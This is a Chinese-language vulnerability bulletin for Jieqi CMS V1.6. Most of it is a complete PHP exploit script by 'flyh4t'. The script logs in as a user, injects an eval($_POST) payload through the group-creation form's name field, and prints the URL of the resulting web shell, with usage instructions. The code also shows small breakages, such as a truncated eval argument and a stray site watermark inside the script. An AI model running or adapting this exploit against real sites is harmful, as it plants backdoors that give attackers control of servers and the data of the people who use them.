漏洞播报：Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。

需要有一个能创建圈子的用户。

<?php
 
print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
*/
if ($argc < 5) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms 
uasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
');
exit;
}
 
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$password = $argv[4];
 
/*get cookie*/
$cookie_jar_index = 'cookie.txt';
$url1 = "http://$host/$path/login.php";
$params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1";
$curl1 = curl_init();
curl_setopt($curl1, CURLOPT_URL, $url1);
curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index);
curl_setopt($curl1, CURLOPT_POST, 1);
curl_setopt($curl1, CURLOPT_POSTFIELDS, $params);
ob_start();
$data1 = curl_exec($curl1);
if ($data1 === FALSE) {
echo "cURL Error: " . curl_error($ch);
exit('exploit failed');
}
curl_close($curl1);
ob_clean();
 
/*get shell*/
 
$params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
 
';
$params .="';";
$params .='eval($_POST
);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
 
1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
 
1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
 
1
-----------------------------23281168279961--
';
 
$url2 = "http://$host/$path/modules/group/create.php";
$curl2 = curl_init();
$header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' );
curl_setopt($curl2, CURLOPT_URL, $url2);
curl_setopt($curl2, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index);
 
curl_setopt($curl2, CURLOPT_POST, 1);
curl_setopt($curl2, CURLOPT_POSTFIELDS, $params);
ob_start();
curl_exec($curl2);
curl_close($curl2);
$resp = ob_get_contents(); //$rs就是返回的内容
ob_clean(); www.2cto.com
 
preg_match('/g=([0-9]{1,4})/', $resp, $shell);
 
//print_r($shell);
//print_r($resp);
 
$url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php";
echo "view you shell here(password:p)\r\n" ;
echo $url;

作者：fly@wolvez

Tags：

杰奇CMS漏洞,

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